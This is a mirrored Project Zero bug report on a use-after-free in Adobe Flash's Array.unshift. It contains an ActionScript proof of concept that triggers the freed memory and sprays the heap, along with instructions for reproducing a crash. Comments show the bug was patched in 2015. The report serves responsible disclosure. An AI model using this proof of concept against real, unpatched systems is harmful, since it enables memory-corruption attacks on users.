VegarLH / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Adobe Flash: Use-after-free in Array.unshift #372

Closed GoogleCodeExporter closed 9 years ago

GoogleCodeExporter commented 9 years ago
In certain cases when an array unshift is performed, it can lead to a 
use-after-free if the array is a SharedObject.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
s.data[0] = q;
s.data.length = 0;
trace(s.data[0]);
s.flush();
var a = [];

trace(s.data.length);
a.unshift.call(s.data, "test");

trace(s.data[0]);
s = 1;
var a = [];
var c = [];
for(i = 0; i < 200; i++){

    var b = new flash.display.BitmapData(1000, 1000, true, 10);
}

setInterval(f, 1000);

function f(){

    trace(x);
    ASnative(252, 1).call(q); //Array push

    }

A fla, an AS file and two swfs are attached. unshift.fla compiles to 
unshift.swf and contains the code that causes the use-after-free. loadswf.as 
compiles to loadswf.swf, and sets up the heap to cause a crash. To make the 
issue occur, put loadswf.swf and unshift.swf in the same folder on a webserver 
(the PoCs don't always work locally due to flash network sandboxing), and load 
loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on 
a 32-bit system with proper heap set-up

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 6 May 2015 at 11:00

Attachments:

GoogleCodeExporter commented 9 years ago
This is PSIRT-3661

Original comment by natashe...@google.com on 8 May 2015 at 7:21

GoogleCodeExporter commented 9 years ago

Original comment by cev...@google.com on 5 Jul 2015 at 6:32

GoogleCodeExporter commented 9 years ago
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

GoogleCodeExporter commented 9 years ago

Original comment by natashe...@google.com on 3 Aug 2015 at 9:42